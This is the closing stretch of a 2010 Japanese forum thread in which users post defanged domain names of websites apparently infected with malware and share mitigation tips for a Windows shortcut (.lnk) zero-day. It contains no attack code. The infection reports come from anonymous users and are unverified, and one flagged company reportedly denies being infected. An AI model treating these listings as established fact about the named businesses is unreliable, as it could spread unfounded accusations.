- 982 ：名無しさん＠お腹いっぱい。：2010/07/19(月) 18:53:42
- www●interiorshop-bigjoy●jp/
- 983 ：名無しさん＠お腹いっぱい。：2010/07/20(火) 09:39:22
- 取扱注意
www●hoshino-jimusho●co●jp
minimini-east●jp
ミニミニで部屋借りるのやめとこ…
- 984 ：名無しさん＠お腹いっぱい。：2010/07/20(火) 16:49:34
- 取扱注意
saitama●rl-toyota●co●jp
www●career-engine●jp
www●kaitori-bancho●com
トヨタレンタリース埼玉ｗｗｗ
- 985 ：オルティスジャパン：2010/07/20(火) 18:58:05
- >>983
暇なので電凸
＞minimini-east●jp
別の方より連絡済
調査会社に依頼した結果感染の事実なしの連絡ありだそうです
私から説明して置きました
＞www●hoshino-jimusho●co●jp
他の方から感染の話しがないので
私を警察に訴えるとの事
上等ですw
警視庁ハイテク課、赤坂署の確認した所、連絡が有った事実は確認されず
警視庁ハイテク課から＞www●hoshino-jimusho●co●jpに連絡して貰う様約束
魚拓
http://megalodon.jp/2010-0720-1730-26/www.hoshino-jimusho.co.jp/
aguse
http://www.aguse.jp/?m=w&url=http%3A%2F%2Fwww.hoshino-jimusho.co.jp%2F&x=13&y=13
- 986 ：名無しさん＠お腹いっぱい。：2010/07/20(火) 19:15:15
- お、乙です・・・
- 987 ：名無しさん＠お腹いっぱい。：2010/07/20(火) 19:39:34
- 怒るだけならともかく（それもアレだけど）、どいつもこいつも「訴える」ってどんな神経かね？
マニュアルでもあるのか
- 988 ：名無しさん＠お腹いっぱい。：2010/07/20(火) 19:50:40
- > 他の方から感染の話しがないので
> 私を警察に訴えるとの事
( ﾟдﾟ)ﾎﾟｶｰﾝ ( ﾟдﾟ)ﾎﾟｶｰﾝ ( ﾟдﾟ)ﾎﾟｶｰﾝ ( ﾟдﾟ)ﾎﾟｶｰﾝ
- 989 ：名無しさん＠お腹いっぱい。：2010/07/20(火) 20:19:59
- minimini-eastはコードが見当たらない
直したのか、勘違いしたのか…
- 990 ：名無しさん＠お腹いっぱい。：2010/07/20(火) 23:24:39
- >>985 > hoshino-jimusho
支援
reginaにもメルポ。
- 991 ：名無しさん＠お腹いっぱい。：2010/07/21(水) 01:02:24
- 8080が使ってくるかもしれんので投下しておく
【ゼロデイ攻撃】Windowsの脆弱性狙うトロイの木馬～MSがアドバイザリ公開
ttp://www.so-net.ne.jp/security/news/view.cgi?type=2&no=2296
マイクロソフト セキュリティ アドバイザリ (2286198)
Windows シェルの脆弱性により、リモートでコードが実行される
ttp://www.microsoft.com/japan/technet/security/advisory/2286198.mspx
WebClient無効は必須やね。
- 992 ：名無しさん＠お腹いっぱい。：2010/07/21(水) 01:03:13
- 何か前も訴えるとか言ってきた奴いたよなぁ
- 993 ：名無しさん＠お腹いっぱい。：2010/07/21(水) 07:53:51
- >>991
WebDAV(WebClient)無効はあくまでWebDAV使った攻撃を潰せるだけで、
ネットワークドライブとかUSBメモリとかには無力です。
他の既知の脆弱性を組み合わせてexeとセットで
ローカルに落とし込むドロッパもありえます。
必須なのはWebDAVよりもlnkアイコンを潰すことです。
regeditでめんどいしデスクトップがダサくなるけど。
- 994 ：名無しさん＠お腹いっぱい。：2010/07/21(水) 10:45:16
- >>989
書き込みされた時点ではaguseで出たから
こっそり修正→感染の事実無し
という流れだろうなぁ…
- 995 ：名無しさん＠お腹いっぱい。：2010/07/21(水) 11:47:57
- 日刊スポーツのトップで常駐が反応した
- 996 ：名無しさん＠お腹いっぱい。：2010/07/21(水) 12:10:35
- PC WatchのトップでAVGに怒られた
- 997 ：名無しさん＠お腹いっぱい。：2010/07/21(水) 12:37:52
- AVGだけみたいだから誤検出臭い…すまん
- 998 ：名無しさん＠お腹いっぱい。：2010/07/21(水) 13:27:53
- 取扱注意
www●kakiyasuhonten●co●jp
- 999 ：名無しさん＠お腹いっぱい。：2010/07/21(水) 13:52:18
- store●nextbusinesssystem●com
www●kidsdrink●jp
- 1000 ：名無しさん＠お腹いっぱい。：2010/07/21(水) 14:10:06
- 死ね
- 1001 ：１００１：Over 1000 Thread
- このスレッドは１０００を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。
★スマホ版★
掲示板に戻る
全部
前100
次100
最新50
read.cgi ver 05.04.02 2018/11/22 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)